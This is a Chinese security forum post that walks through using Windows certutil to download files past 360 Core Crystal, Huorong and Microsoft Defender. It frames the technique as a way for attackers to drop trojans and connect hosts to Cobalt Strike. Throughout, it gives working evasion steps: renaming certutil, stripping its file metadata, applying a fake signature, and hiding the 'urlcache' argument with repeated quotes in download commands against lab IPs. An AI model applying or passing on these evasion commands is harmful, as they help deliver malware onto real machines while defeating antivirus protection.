安全矩阵

 找回密码
 立即注册
搜索
查看: 1060|回复: 0

certutil之巧:绕过防御的艺术

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-12-1 22:25:33 | 显示全部楼层 |阅读模式
前言

certutil.exe是windows系统自带的,作为证书服务的命令行程序。用户可以使用certutil.exe转储和显示证书颁发机构配置信息等等以及验证证书、密钥对和证书链。

攻击者喜欢使用certutil命令在目标主机上下载木马,从而上线CS进行内网渗透。当目标主机存在杀软时,直接使用certutil命令会被拦截,导致无法成功下载。本次实验主要是在360核晶防护、火绒、defender三种环境下尝试使用certutil绕过拦截。

certutil下载文件的常见命令为:

  1. <p>certutil -urlcache -split -f http://xxx.com/xx.exe</p><p></p>
复制代码

-urlcache参数:显示或删除URL缓存条目。

-f参数:覆盖现有文件,后面要跟下载的文件地址。

-split参数:保存文件。加的话就下载到当前路径,不加就下载到默认路径。



免杀过程

bypass360核晶防护

首先用网上文章的绕过方式尝试一下,利用缓存文件尝试下载,发现均已被拦截



看到这里,可能会有人会疑问certutil绕过为什么会使用到一些符号,使用了这些符号命令为什么还能执行?先来了解一下这些符号在命令行的作用吧

1.";": 在CMD中作为命令分隔符,当;放在一个命令的开头时不会产生任何效果

2.",": 这个字符在 CMD 命令中通常没有特殊含义,它可能被忽略或者导致命令错误。

3."@":在批处理文件中,这个字符用于抑制命令本身的回显。在命令行中直接使用时,它通常不起作用。

4.引号:在 CMD 中,引号主要用于处理包含空格或特殊字符的字符串。当引号用于包围没有空格的文本时,CMD会简单地忽略这些引号,并将被引号分割的文本片段合并为一个连续的字符串。

5."^": 转义字符 ^ 在 CMD 中主要用于转义那些具有特殊含义的字符,比如 &(用于连接两个命令)、|(管道)、> 和 <(重定向),等等。例如,如果你在 CMD 中执行命令 echo ^&,它将输出 &,而不是把 & 视为一个命令分隔符。如果转义的字符不是一个特殊字符,那么 ^ 就被视为没有必要的,因此会被忽略。

所以可以使用这些符号对CMD的命令进行处理,来躲避杀软的检测。这是之前的绕过方式,现在已经不行了。换一种方式进行绕过,把certutil工具复制一份换个名字试试





还是会拦,看360的拦截提示还是识别到了certutil工具,尝试对certuil进行处理,去除它的详细信息,看能不能绕过的



看到没已经没有拦截提示了,尝试下载文件,成功绕过360核晶防护





bypass火绒

火绒对使用系统的certutil下载文件的拦截非常严格,使用上面的符号进行混淆根本没用,全会被拦截,做了一系列尝试均失败。





注意火绒的拦截提示是:防护项目利用certutil下载可执行文件。怎么能绕过呢?你只需要对系统的certutil复制一份,重命名一下,就可以随便绕过



我没有做任何处理,只是修改了名称,再次执行下载命令,888.exe -urlcache -split -f http://192.168.1.8:8000/README.md,成功绕过




bypass defender

不出意外的出现了意外,我把去除了详细信息的程序拖进defende环境,好家伙defender直接给我杀掉了



对1.exe处理下,打个假签名



看到没已经不杀了



执行命令试试会不会拦截



之前绕过360和火绒的命令已经被拦截了,继续看,defender的拦截提示信息CmdLine: C:\Users\HP\Desktop\test.exe -urlcache -split -f http://192.168.10.238:8000/README.md,它并没有报certutil工具说明defender已经判断不出这是certutil,那它拦截的点应该是命令行参数了,利用之前的符合对命令行参数进行混淆,如下



判断出defender查杀的参数可能是urlcache,经过一系列尝试发现多重引号可以绕过

  1. test.exe -ur""""lcache -split -f http://192.168.1.8:8000/README.md
复制代码



直接使用certutil来验证下defender是不是查杀urlcache命令,

使用certutil -url""""cache -split -f http://192.168.1.8:8000/README.md,依然可以成功下载文件,验证了猜想



总结

1.想要绕过杀软,就要弄清楚杀软进行查杀的原理,知道它怎么防御,才能更好地去绕过。
2.不同的杀软环境,绕过的手法和方式也不一样,只有亲身实践才能不断积累经验。
3.不要害怕失败,失败多了可能下次就成功了。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-10-18 12:41 , Processed in 0.018569 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表